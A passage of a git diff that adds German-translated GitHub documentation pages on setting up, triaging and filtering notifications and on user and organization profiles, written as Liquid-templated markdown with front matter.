+4. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications.
+
+## Configuring your watch settings for an individual repository with {% data variables.product.prodname_mobile %} 
+
+You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of {% ifversion fpt or ghec %}certain event types such as issues, pull requests, discussions (if enabled for the repository) and {% endif %}new releases, or completely ignore an individual repository.
+
+1. On {% data variables.product.prodname_mobile %}, navigate to the main page of the repository.
+2. Tap **Watch**.
+   ![The watch button on {% data variables.product.prodname_mobile %}](/assets/images/help/notifications-v2/mobile-watch-button.png)
+3. To choose what activities you receive notifications for, tap your preferred watch settings.
+   ![Watch settings dropdown menu in {% data variables.product.prodname_mobile %}](/assets/images/help/notifications-v2/mobile-watch-settings.png)
+
+{% endif %}
diff --git a/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/index.md b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/index.md
new file mode 100644
index 0000000000..a25525046d
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/index.md
@@ -0,0 +1,24 @@
+---
+title: Benachrichtigungen einrichten
+intro: 'Um die Relevanz Deiner Benachrichtigungen zu verbessern und den Selektions-Workflow zu vereinfachen, richte Deine Benachrichtigungen entsprechend Deinen Prioritäten ein.'
+redirect_from:
+  - /articles/getting-started-with-notifications
+  - /github/managing-subscriptions-and-notifications-on-github/setting-up-notifications
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Notifications
+children:
+  - /about-notifications
+  - /configuring-notifications
+ms.openlocfilehash: 7e2b668bbd02e5b9d0307559dca82dda5ae70ee8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145104560'
+---
+
diff --git a/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications.md b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications.md
new file mode 100644
index 0000000000..d510c8e93a
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications.md
@@ -0,0 +1,78 @@
+---
+title: Anpassen eines Workflows zum Selektieren deiner Benachrichtigungen
+intro: 'Um einen idealen Workflow für das Selektieren deiner Benachrichtigungen zu erstellen, kannst du diese Beispielworkflows übernehmen und anpassen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Notifications
+redirect_from:
+  - /github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications
+  - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications
+shortTitle: Triage your notifications
+ms.openlocfilehash: 9e5771dff52408a1b6967a3792eb36eefebefd72
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104559'
+---
+## Beginne deine Posteingang-Selektion
+
+Bevor du mit der Selektion in deinem Posteingang beginnst, überlege Dir, ob du zuerst die wichtigsten Aktualisierungen finden und beantworten möchtest, oder ob du zuerst deinen Posteingang von störenden Benachrichtigungen leeren möchtest, die einfach zu finden und zu entfernen sind.
+
+Ja nach Anzahl deiner Benachrichtigungen kannst du zu verschiedenen Zeiten auch eine Kombination der beiden Ansätze wählen.
+
+Ein Beispiel für den Workflow zum Suchen und Reagieren auf die wichtigsten Benachrichtigungen findest du unter [Überprüfen der Benachrichtigungen mit den höchsten Prioritäten](#checking-your-highest-notification-priorities).
+
+Ein Beispiel für den Workflow zum Entfernen von Benachrichtigungen, die einfach entfernt oder selektiert werden können, findest du unter [Löschen der am wenigsten wichtigen Benachrichtigungen](#clearing-your-least-important-notifications).
+
+## Deine Benachrichtigungen mit höchster Priorität prüfen
+
+Entscheide, welche Art von Benachrichtigungen am dringendsten überprüft werden müssen und wähle einen Zeitpunkt für den Review, der für Dich am besten ist. Du solltest Dir überlegen „Wen blockiere ich?"
+
+Du kannst dich beispielsweise dazu entscheiden, deine Benachrichtigungen morgens während deiner Tagesplanung in folgender Reihenfolge zu prüfen:
+  - Pull Requests, bei denen dein Review angefordert ist. (Filtere nach `reason:review-requested`.)
+  - Ereignisse, in denen dein Benutzername durch @mentioned erwähnt wird, auch als „direkte Erwähnungen“ bezeichnet. (Filtere nach `reason:mention`.)
+  - Ereignisse, in denen ein Team, dem du angehörst, durch @mentioned erwähnt wird, auch als „Teamerwähnungen“ bezeichnet. (Filtere nach `reason:team-mention`.)
+  - CI-Workflow-Fehler für ein bestimmtest Repository. (Filtere nach `reason:ci-activity` und `repo:owner/repo-name`, und stelle sicher, dass du CI-Aktivitätsbenachrichtigungen für Workflowfehler in deinen Benachrichtigungseinstellungen aktiviert hast.)
+
+  {% tip %}
+
+  **Tipp**: Um Benachrichtigungen mit der höchsten Prioritäten schnell zu überprüfen, richte benutzerdefinierte Filter in der Reihenfolge ihrer Überprüfungspriorität ein. Weitere Informationen findest du unter [Verwalten von Benachrichtigungen aus deinem Posteingang](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#customizing-your-inbox-with-custom-filters).
+
+  {% endtip %}
+
+## Nachverfolgung laufender Benachrichtigungsaktualisierungen
+
+Um Benachrichtigungen nachzuverfolgen, überlege Dir auch „Über was wurde ich blockiert und bin es nicht mehr?" Wähle dann Die Prioritäten der Nachverfolgung deiner Benachrichtigungen.
+
+Beispielsweise kannst du folgende Reihenfolge für die Nachverfolgung wählen:
+  - Issues und Pull Requests, denen du zugeordnet bist. Schließe sofort alle möglichen Issues und Pull Requests und füge Aktualisierungen hinzu. Bei Bedarf sicherer Benachrichtigungen für eine spätere Überprüfung.
+  - Überprüfe Benachrichtigungen, die du in deinem Posteingang gesichert hast, vor allem ungelesene Aktualisierungen. Wenn der Thread nicht mehr relevant ist, deaktiviere {% octicon "bookmark" aria-label="The bookmark icon" %}, um die Benachrichtigung aus dem gespeicherten Posteingang zu entfernen, und hebe die Speicherung auf.
+
+## Benachrichtigungen mit niedriger Priorität verwalten
+
+Nach der Prüfung der Benachrichtigungen mit höherer Priorität überprüfe nun die verbleibenden Benachrichtigungen, wie beispielsweise Teilnahmebenachrichtigungen. Stellen Sie sich die folgenden Fragen:
+  - Kann ich diese Benachrichtigung abmelden? Ist diese Benachrichtigung abgeschlossen und kann als **Erledigt** gekennzeichnet werden?
+  {% tip %}
+
+  **Tipp**: Wenn du dich von einer Benachrichtigung abmeldest, erhältst du erst dann neue Updates, wenn du am Thread teilzunehmen beginnst oder wenn du oder ein Team, dem du angehörst, über @mentioned erwähnt wird. Wenn du eine Benachrichtigung als **Erledigt** markierst, wird die Benachrichtigung aus der Hauptansicht deines Posteingangs entfernt und kann mit der Abfrage `is:read` angezeigt werden. Weitere Informationen findest du unter [Verwalten von Benachrichtigungen aus deinem Posteingang](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-options).
+
+  {% endtip %}
+  - Möchtest du zukünftige Aktualisierungen erhalten, wenn dieser Issue oder Pull Request geschlossen oder wieder geöffnet wird oder wenn ein Pull Request zusammengeführt wird? Weitere Informationen findest du unter [Selektieren einer einzelnen Benachrichtigung](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request).
+  - Möchtest du in Zukunft keine solchen Benachrichtigungen mehr erhalten? Falls ja, erwäge Dich abzumelden. Weitere Informationen findest du unter [Verwalten von Abonnement für Aktivitäten auf GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github).
+
+## Deine am wenigsten wichtigen Benachrichtigungen löschen
+
+Wähle aus, welche Art von Benachrichtigungen für Dich am schnellsten und am einfachsten zu selektieren und aus deinem Posteingang zu entfernen sind, wobei du idealerweise mehrere Benachrichtigungen gleichzeitig selektieren kannst.
+
+Du kannst beispielsweise festlegen, dass Benachrichtigungen in dieser Reihenfolge gelöscht werden sollen:
+  - Teilnahmebenachrichtigungen, von denen du Dich abmelden kannst.
+  - Aktualisierungen von Repositorys, die nicht relevant sind um aufbewahrt oder nachverfolgt zu werden.
+
+Weitere Informationen zum gleichzeitigen Verwalten mehrerer Benachrichtigungen in deinem Posteingang findest du unter [Verwalten von Benachrichtigungen über deinen Posteingang](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time).
+
+Du kannst auch erwägen, deine Benachrichtigungseinstellungen zu ändern oder diese Aktualisierungen nach Möglichkeit zu deaktivieren. Weitere Informationen findest du unter [Konfigurieren von Benachrichtigungen](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications) oder unter [Verwalten von Abonnements für Aktivitäten auf GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github).
diff --git a/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
new file mode 100644
index 0000000000..63ef0c46fc
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
@@ -0,0 +1,27 @@
+---
+title: Benachrichtigungen anschauen und selektieren
+intro: 'Um deinen Workflow für Benachrichtigungen zu optimieren, kannst du anpassen, wie du Benachrichtigungen ansehen und selektieren willst.'
+redirect_from:
+  - /articles/managing-notifications
+  - /articles/managing-your-notifications
+  - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Notifications
+children:
+  - /managing-notifications-from-your-inbox
+  - /triaging-a-single-notification
+  - /customizing-a-workflow-for-triaging-your-notifications
+shortTitle: Customize a workflow
+ms.openlocfilehash: a4130fe6877b7071211494226f67906e2870224b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104556'
+---
+
diff --git a/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md
new file mode 100644
index 0000000000..a006c11816
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md
@@ -0,0 +1,181 @@
+---
+title: Managing notifications from your inbox
+intro: 'Use your inbox to quickly triage and sync your notifications across email{% ifversion fpt or ghes or ghec %} and mobile{% endif %}.'
+redirect_from:
+  - /articles/marking-notifications-as-read
+  - /articles/saving-notifications-for-later
+  - /github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox
+  - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Notifications
+shortTitle: Manage from your inbox
+---
+
+## About your inbox
+
+{% ifversion fpt or ghes or ghec %}
+{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)."
+{% endif %}
+
+To access your notifications inbox, in the upper-right corner of any page, click {% octicon "bell" aria-label="The notifications bell" %}.
+
+  ![Notification indicating any unread message](/assets/images/help/notifications/notifications_general_existence_indicator.png)
+
+Your inbox shows all of the notifications that you haven't unsubscribed to or marked as **Done.** You can customize your inbox to best suit your workflow using filters, viewing all or just unread notifications, and grouping your notifications to get a quick overview.
+
+  ![inbox view](/assets/images/help/notifications-v2/inbox-view.png)
+
+By default, your inbox will show read and unread notifications. To only see unread notifications, click **Unread** or use the `is:unread` query.
+
+  ![unread inbox view](/assets/images/help/notifications-v2/unread-inbox-view.png)
+
+## Triaging options
+
+You have several options for triaging notifications from your inbox.
+
+| Triaging option | Description |
+|-----------------|-------------|
+| Save            | Saves your notification for later review. To save a notification, to the right of the notification, click {% octicon "bookmark" aria-label="The bookmark icon" %}. <br> <br> Saved notifications are kept indefinitely and can be viewed by clicking **Saved** in the sidebar or with the `is:saved` query. If your saved notification is older than 5 months and becomes unsaved, the notification will disappear from your inbox within a day. |
+| Done            | Marks a notification as completed and removes the notification from your inbox. You can see all completed notifications by clicking **Done** in the sidebar or with the `is:done` query. Notifications marked as **Done** are saved for 5 months.
+| Unsubscribe     | Automatically removes the notification from your inbox and unsubscribes you from the conversation until you are @mentioned, a team you're on is @mentioned, or you're requested for review.
+| Read            | Marks a notification as read. To only view read notifications in your inbox, use the `is:read` query. This query doesn't include notifications marked as **Done**.
+| Unread          | Marks notification as unread. To only view unread notifications in your inbox, use the `is:unread` query. |
+
+To see the available keyboard shortcuts, see "[Keyboard Shortcuts](/github/getting-started-with-github/keyboard-shortcuts#notifications)."
+
+Before choosing a triage option, you can preview your notification's details first and investigate. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)."
+
+## Triaging multiple notifications at the same time
+
+To triage multiple notifications at once, select the relevant notifications and use the {% octicon "kebab-horizontal" aria-label="The edit icon" %} drop-down to choose a triage option.
+
+![Drop-down menu with triage options and selected notifications](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png)
+
+## Default notification filters
+
+By default, your inbox has filters for when you are assigned, participating in a thread, requested to review a pull request, or when your username is @mentioned directly or a team you're a member of is @mentioned.
+
+  ![Default custom filters](/assets/images/help/notifications-v2/default-filters.png)
+
+## Customizing your inbox with custom filters
+
+You can add up to 15 of your own custom filters.
+
+{% data reusables.notifications.access_notifications %}
+2. To open the filter settings, in the left sidebar, next to "Filters", click {% octicon "gear" aria-label="The Gear icon" %}.
+
+  {% tip %}
+
+  **Tip:** You can quickly preview a filter's inbox results by creating a query in your inbox view and clicking **Save**, which opens the custom filter settings.
+
+  {% endtip %}
+
+3. Add a name for your filter and a filter query. For example, to only see notifications for a specific repository, you can create a filter using the query `repo:octocat/open-source-project-name reason:participating`. You can also add emojis with a native emoji keyboard. For a list of supported search queries, see "[Supported queries for custom filters](#supported-queries-for-custom-filters)."
+
+  ![Custom filter example](/assets/images/help/notifications-v2/custom-filter-example.png)
+
+4. Click **Create**.
+
+## Custom filter limitations
+
+Custom filters do not currently support:
+  - Full text search in your inbox, including searching for pull request or issue titles.
+  - Distinguishing between the `is:issue`, `is:pr`, and `is:pull-request` query filters. These queries will return both issues and pull requests.
+  - Creating more than 15 custom filters.
+  - Changing the default filters or their order.
+  - Search [exclusion](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results) using `NOT` or `-QUALIFIER`.
+
+## Supported queries for custom filters
+
+These are the types of filters that you can use:
+  - Filter by repository with `repo:`
+  - Filter by discussion type with `is:`
+  - Filter by notification reason with `reason:`{% ifversion fpt or ghec %}
+  - Filter by notification author with `author:`
+  - Filter by organization with `org:`{% endif %}
+
+### Supported `repo:` queries
+
+To add a `repo:` filter, you must include the owner of the repository in the query: `repo:owner/repository`. An owner is the organization or the user who owns the {% data variables.product.prodname_dotcom %} asset that triggers the notification. For example, `repo:octo-org/octo-repo` will show notifications triggered in the octo-repo repository within the octo-org organization.
+
+### Supported `is:` queries
+
+To filter notifications for specific activity on {% data variables.location.product_location %}, you can use the  `is` query. For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`{% endif %}.
+
+- `is:check-suite`
+- `is:commit`
+- `is:gist`
+- `is:issue-or-pull-request`
+- `is:release`
+- `is:repository-invitation`
+- `is:repository-vulnerability-alert`{% ifversion fpt or ghec %}
+- `is:repository-advisory`{% endif %}
+- `is:team-discussion`{% ifversion fpt or ghec %}
+- `is:discussion`{% endif %}
+
+For information about reducing noise from notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)."
+
+You can also use the `is:` query to describe how the notification was triaged.
+
+- `is:saved`
+- `is:done`
+- `is:unread`
+- `is:read`
+
+### Supported `reason:` queries
+
+To filter notifications by why you've received an update, you can use the `reason:` query. For example, to see notifications when you (or a team you're on) is requested to review a pull request, use `reason:review-requested`. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)."
+
+| Query | Description |
+|-----------------|-------------|
+| `reason:assign` | When there's an update on an issue or pull request you've been assigned to.
+| `reason:author` | When you opened a pull request or issue and there has been an update or new comment.
+| `reason:comment`| When you commented on an issue, pull request, or team discussion.
+| `reason:participating` | When you have commented on an issue, pull request, or team discussion or you have been @mentioned.
+| `reason:invitation` | When you're invited to a team, organization, or repository.
+| `reason:manual` | When you click **Subscribe** on an issue or pull request you weren't already subscribed to.
+| `reason:mention` | You were directly @mentioned.
+| `reason:review-requested` | You or a team you're on have been requested to review a pull request.
+| `reason:security-alert` | When a security alert is issued for a repository.
+| `reason:state-change`  | When the state of a pull request or issue is changed. For example, an issue is closed or a pull request is merged.
+| `reason:team-mention` | When a team you're a member of is @mentioned.
+| `reason:ci-activity` | When a repository has a CI update, such as a new workflow run status.
+
+{% ifversion fpt or ghec %}
+### Supported `author:` queries
+
+To filter notifications by user, you can use the `author:` query. An author is the original author of the thread (issue, pull request, gist, discussions, and so on) for which you are being notified. For example, to see notifications for threads created by the Octocat user, use `author:octocat`.
+
+### Supported `org:` queries
+
+To filter notifications by organization, you can use the  `org` query. The organization you need to specify in the query is the organization of the repository for which you are being notified on {% data variables.product.prodname_dotcom %}. This query is useful if you belong to several organizations, and want to see notifications for a specific organization.
+
+For example, to see notifications from the octo-org organization, use `org:octo-org`. 
+
+{% endif %}
+
+## {% data variables.product.prodname_dependabot %} custom filters
+
+{% ifversion fpt or ghec or ghes %}
+If you use {% data variables.product.prodname_dependabot %} to keep your dependencies up-to-date, you can use and save these custom filters:
+- `is:repository_vulnerability_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %}.
+- `reason:security_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %} and security update pull requests.
+- `author:app/dependabot` to show notifications generated by {% data variables.product.prodname_dependabot %}. This includes {% data variables.product.prodname_dependabot_alerts %}, security update pull requests, and version update pull requests.
+
+For more information about {% data variables.product.prodname_dependabot %}, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."
+{% endif %}
+
+{% ifversion ghae %}
+
+If you use {% data variables.product.prodname_dependabot %} to tell you about insecure dependencies, you can use and save these custom filters to show notifications for {% data variables.product.prodname_dependabot_alerts %}:
+- `is:repository_vulnerability_alert` 
+- `reason:security_alert`
+
+For more information about {% data variables.product.prodname_dependabot %}, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)."
+{% endif %}
+
diff --git a/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification.md b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification.md
new file mode 100644
index 0000000000..6579673345
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification.md
@@ -0,0 +1,53 @@
+---
+title: Eine einzige Benachrichtigung selektieren
+intro: 'Wenn du eine einzelne Benachrichtigung überprüfen und untersuchen willst, hast Du verschiedene Auswahlmöglichkeiten, die für die detaillierte Benachrichtigungs-Ansicht optimiert sind.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Notifications
+redirect_from:
+  - /github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification
+  - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification
+shortTitle: Triage a notification
+ms.openlocfilehash: c81cc30449dd1b37a58df0b91a036fbd629d8ae3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104552'
+---
+## Sichern einer einzelnen Benachrichtigung
+
+Um eine einzelne Benachrichtigung zum späteren Review zu sichern, klicke rechts neben der Benachrichtigung auf {% octicon "bookmark" aria-label="The bookmark icon" %}. Du kannst nur eine Benachrichtigung nach der Anderen sichern.
+
+Gespeicherte Benachrichtigungen werden unbegrenzt aufbewahrt und können angezeigt werden, indem du in der Randleiste auf **Gespeichert** klickst, oder mit der `is:saved`-Abfrage. Wenn Deine gesicherte Benachrichtigung älter als 5 Monate ist und Du sie nicht mehr sicherst, wird die Benachrichtigung innerhalb eines Tages aus Deinem Posteingang entfernt.
+
+  ![Selektions-Option speichern](/assets/images/help/notifications-v2/save-triaging-option.png)
+
+## Eine Benachrichtigung untersuchen
+
+Wenn Du eine individuelle Benachrichtigung aus Deinem Posteingang anklickst, wirst Du an die Unterhaltung weitergeleitet, die die Benachrichtigung ausgelöst hat. Oben auf der Seite kannst Du:
+- Die einzelne Benachrichtigung als erledigt markieren
+- Künftige Benachrichtigungen abmelden
+- Die Benachrichtigung als gelesen markieren
+- Die Benachrichtigung für später sichern
+- Zu Deinem Postfach für Benachrichtigungen zurück gehen
+
+Weitere Informationen zu deinen Selektierungsoptionen findest du unter [Verwalten von Benachrichtigungen aus Ihrem Posteingang](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-options).
+
+## Anpassen, wann künftige Aktualisierungen für einen Issue oder Pull Request erhalten werden sollen
+
+Du kannst wählen, wie Du zukünftige Benachrichtigungen für einen spezifischen Issue oder einen Pull Request erhalten willst.
+
+1. Klicke in der rechten Spalte des Issues oder Pull Requests neben „Benachrichtigungen“ auf **Anpassen**.
+
+  ![Option „Anpassen“ unter „Benachrichtigungen“](/assets/images/help/notifications-v2/customize-notifications-for-specific-thread.png)
+
+2. Wähle **Benutzerdefiniert** und entscheide, wann du ein Benachrichtigungsupdate für diesen Thread erhalten möchtest. Du kannst zum Beispiel wählen, ob Du eine Aktualisierung erhältst, wenn der Pull Request zusammengeführt, geschlossen oder wieder geöffnet wurde. Du bist wieder Abonnent, wenn du am Thread teilnimmst, dein Benutzername @mentioned wird oder ein Team, in dem Du Mitglied bist, @mentioned wird.
+
+  ![Optionen zum Anpassen von Benachrichtigungen](/assets/images/help/notifications-v2/custom-options-for-customizing-notification-thread-updates.png)
+
+3. Klicken Sie auf **Speichern**.
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md
new file mode 100644
index 0000000000..e90733dfb6
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md
@@ -0,0 +1,35 @@
+---
+title: About your organization's profile
+intro: Your organization's profile page shows basic information about your organization.
+redirect_from:
+  - /articles/about-your-organization-s-profile
+  - /articles/about-your-organizations-profile
+  - /github/setting-up-and-managing-your-github-profile/about-your-organizations-profile
+  - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Profiles
+shortTitle: Organization's profile
+---
+
+You can optionally choose to add a description, location, website, and email address for your organization, and pin important repositories.{% ifversion fpt or ghec or ghes > 3.3 %} You can customize your organization's public profile by adding a README.md file. For more information, see "[Customizing your organization's profile](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile)."{% endif %}
+
+{% ifversion fpt %}
+Organizations that use {% data variables.product.prodname_ghe_cloud %} can confirm their organization's identity and display a "Verified" badge on their organization's profile page by verifying the organization's domains with {% data variables.product.product_name %}. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)" in the {% data variables.product.prodname_ghe_cloud %} documenatation.
+{% elsif ghec or ghes %}
+To confirm your organization's identity and display a "Verified" badge on your organization profile page, you can verify your organization's domains with {% data variables.product.prodname_dotcom %}. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+{% endif %}
+
+{% ifversion fpt or ghes or ghec %}
+![Sample organization profile page](/assets/images/help/organizations/org_profile_with_overview.png)
+{% else %}
+![Sample organization profile page](/assets/images/help/profile/org_profile.png)
+{% endif %}
+
+## Further reading
+
+- "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)"
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
new file mode 100644
index 0000000000..6d423edf5d
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
@@ -0,0 +1,49 @@
+---
+title: Informationen zu deinem Profil
+intro: 'Deine Profilseite erzählt anderen die Geschichte deiner Arbeit anhand der Repositorys, an denen du interessiert bist, anhand deiner Beiträge und anhand der Unterhaltungen, die du geführt hast.'
+redirect_from:
+  - /articles/viewing-your-feeds
+  - /articles/profile-pages
+  - /articles/about-your-profile
+  - /github/setting-up-and-managing-your-github-profile/about-your-profile
+  - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Profiles
+ms.openlocfilehash: e27e14102b4f57e9eb50266c5c271a2f6bb3892c
+ms.sourcegitcommit: bf11c3e08cbb5eab6320e0de35b32ade6d863c03
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148111616'
+---
+Du kannst persönliche Informationen über Dich selbst in deiner Bio hinzufügen, beispielsweise über frühere Orte, an denen du gearbeitet hast, Projekte, an denen du mitgewirkt hast, oder Interessen, die du hast, von denen andere Personen möglicherweise wissen möchten. Weitere Informationen findest du unter "[Hinzufügen eines Lebenslaufs zu deinem Profil](/articles/personalizing-your-profile/#adding-a-bio-to-your-profile)".
+
+{% ifversion fpt or ghes or ghec %}
+
+{% data reusables.profile.profile-readme %}
+
+![In dem Profil angezeigte Profil-README-Datei](/assets/images/help/repository/profile-with-readme.png)
+
+{% endif %}
+
+Personen, die dein Profil aufrufen, sehen eine Zeitleiste deiner Beitragsaktivitäten, wie Issues und Pull Requests, die du geöffnet hast, Commits, die du durchgeführt hast, und Pull Requests, deren Review du durchgeführt hast. Du kannst wählen, ob du nur öffentliche Beiträge anzeigen oder auch private, anonymisierte Beiträge einbeziehen möchtest. Weitere Informationen findest du unter "[Anzeigen von Beiträgen auf deiner Profilseite](/articles/viewing-contributions-on-your-profile-page)" oder "[Veröffentlichen oder Ausblenden deiner privaten Beiträge in deinem Profil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)".
+
+Personen, die dein Profil besuchen, sehen auch die folgenden Informationen.
+
+- Repositorys und Gists, die du besitzt oder zu denen du beiträgst. {% ifversion fpt or ghes or ghec %}Du kannst deine beste Arbeit präsentieren, indem du Repositorys und Gists an dein Profil anheftest. Weitere Informationen findest du unter "[Anheften von Elementen an dein Profil](/github/setting-up-and-managing-your-github-profile/pinning-items-to-your-profile)."{% endif %}
+- Repositorys, die du mit einem Stern versehen{% ifversion fpt or ghec %} und in Listen organisiert{% endif %} hast. Weitere Informationen findest du unter [Speichern von Repositorys mit Sternen](/articles/saving-repositories-with-stars/).
+- Eine Übersicht über deine Aktivitäten in den Organisationen, Repositorys und Teams, in denen du am meisten aktiv bist. Weitere Informationen findest du unter [Anzeigen einer Aktivitätsübersicht auf deinem Profil](/articles/showing-an-overview-of-your-activity-on-your-profile).{% ifversion fpt or ghec %}
+- Badges und Erfolge, die deine Aktivitäten hervorheben und anzeigen, wenn du {% data variables.product.prodname_pro %} verwendest oder an Programmen wie dem {% data variables.product.prodname_arctic_vault %}-, dem {% data variables.product.prodname_sponsors %}- oder dem {% data variables.product.company_short %}-Entwicklerprogramm teilnimmst. Weitere Informationen findest du unter "[Personalisieren deines Profils](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#displaying-badges-on-your-profile)."{% endif %}
+
+Du kannst auch einen Status auf deinem Profil einstellen, um Angaben zu deiner Verfügbarkeit zu machen. Weitere Informationen findest du unter "[Festlegen eines Status](/articles/personalizing-your-profile/#setting-a-status)".
+
+## Weitere Informationsquellen
+
+- "[Wie richte ich mein Profilbild ein?](/articles/how-do-i-set-up-my-profile-picture)"
